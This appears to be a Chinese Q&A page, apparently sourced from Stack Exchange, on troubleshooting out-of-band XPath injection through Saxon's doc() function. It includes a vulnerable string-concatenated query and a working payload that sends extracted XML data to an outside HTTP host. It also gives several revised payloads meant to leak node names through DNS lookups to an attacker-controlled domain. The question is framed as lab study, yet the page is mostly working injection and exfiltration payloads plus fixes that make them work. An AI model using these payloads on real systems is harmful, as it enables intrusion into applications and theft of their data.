XPath注入中doc()函数的DNS数据泄露问题排查及疑问
XPath注入中doc()函数DNS数据提取无响应问题排查
背景信息
我正在学习通过XPath的doc()函数多方式实现XPath注入,实验使用的查询语句如下:
String xquery = "/root/books/book[contains(title/text(), '" + query + "')]";
已支持XPath 2.0/3.0,且通过HTTP请求提取数据的方式已成功,示例payload:
test') and doc((concat('http://IP/data/?d=',(encode-for-uri((normalize-space((/*[1]/*[2]/*[2]/@*[2]))))))))/data=220248 and string('1'='1
本地XML文件读取问题(Docker环境)已解决,但通过DNS请求提取数据时无任何响应,测试过两个payload均无效:
- 带数据提取的payload:
test') and doc((concat(name((/*[2])) , '.domain.com'))) and string('1'='1 - 基础测试payload:
doc((concat('ABCTEST', '.domain.com' ))) and string('1'='1
环境信息:
- XPath处理器:net.sf.saxon
- 操作系统:Linux lubuntu 4.18.0-17-generic #18~18.04.1-Ubuntu
- JDK:openjdk-11.0.9.1
- 语言环境:LANG=C.UTF-8
可能的问题点及解决方案
1. Saxon处理器的外部资源访问限制
Saxon(尤其是开源HE版本)默认会限制外部网络资源的加载,防止安全风险。需要确认是否开启了外部资源访问权限:
- 检查Saxon配置中是否启用了
FeatureKeys.ALLOW_EXTERNAL_FUNCTIONS - 确认是否配置了允许的URI前缀或关闭了外部资源拦截
2. doc()函数的URI格式不合法
doc()函数要求传入标准URI,直接拼接域名(如ABCTEST.domain.com)缺少协议头(如http://),Saxon无法识别为有效资源地址,会导致请求失败或无响应。
修正思路:构造带HTTP协议头的URI,让Saxon发起HTTP请求从而触发DNS解析,示例:
test') and doc(concat('http://', name(/*[2]), '.domain.com/')) and '1'='1'
3. XPath语法闭合不完整
测试的payload存在语法问题:原查询语句拼接后,结尾的string('1'='1缺少闭合的),导致整个XPath语句语法错误,Saxon可能返回空结果而非报错。
修正后的基础测试payload:
test') and doc(concat('ABCTEST', '.domain.com')) and '1'='1'
拼接后完整XPath语句为:
/root/books/book[contains(title/text(), 'test') and doc(concat('ABCTEST', '.domain.com')) and '1'='1']
4. Docker容器的网络限制
Docker容器可能被配置了禁止外部DNS请求,或无法访问你的域名服务器:
- 在容器内执行
nslookup ABCTEST.domain.com,验证DNS请求是否能正常触发 - 检查容器的网络模式(如是否为bridge模式)及防火墙规则
5. Saxon版本的特性差异
不同版本的Saxon对doc()函数的处理逻辑有差异:
- 确认使用的Saxon版本是否支持通过HTTP URI触发DNS解析
- 查阅对应版本的官方文档,确认外部资源加载的具体限制
内容的提问来源于stack exchange,提问作者jagghy
相关产品推荐
相关产品推荐

